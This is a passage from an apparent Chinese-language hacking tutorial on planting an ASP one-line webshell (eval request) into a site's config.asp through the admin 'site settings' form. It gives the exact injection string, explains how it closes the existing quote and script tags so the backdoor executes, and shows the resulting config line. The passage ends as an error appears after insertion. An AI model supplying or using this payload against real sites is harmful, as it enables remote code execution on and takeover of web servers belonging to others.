般而言,后台插一句话,如果数据库扩展名是asp的话,那么插数据库,但是如果有配置文件可以插的话,那肯定是插入配置文件了,但是插入配置文件有一个很大的风险,那就是一旦出错那么全盘皆输,有可能不仅仅造成后台无法登陆,甚至有可能是整个网站系统崩溃,所以插入配置文件,请慎之又慎。
话归正题,如果想插入配置文件,一般是config.asp,那么首先需要了解这个文件的一般情况。
网站的配置一般是保存网站名,地址,email之类的,既然是字符,那么格式应当是
webname=“test website”
对于这样的配置插入一句话的话,我们的机会就是替换test website,那么需要闭合2个,同时要插入一句话,语句可以这样
%><%eval request(d%><%s=
那么在config.asp中就是
webname=“%><%eval request(d%><%s=”
第一个是闭合前面的配置文件中的,%>就是闭合前一段脚本,之后插入一句话<%eval request(d%>,现在要闭合原来的和%>
所以加入<%s=,这里特别要注意“s=”,如果没有这个等号的话,那么就会成<% ,这样必将出错。
好了,这是常规的办法,现在我们回到开始那个问题,按照前面的方法插入
插入后,我们再点击“网站设置” ,出现错误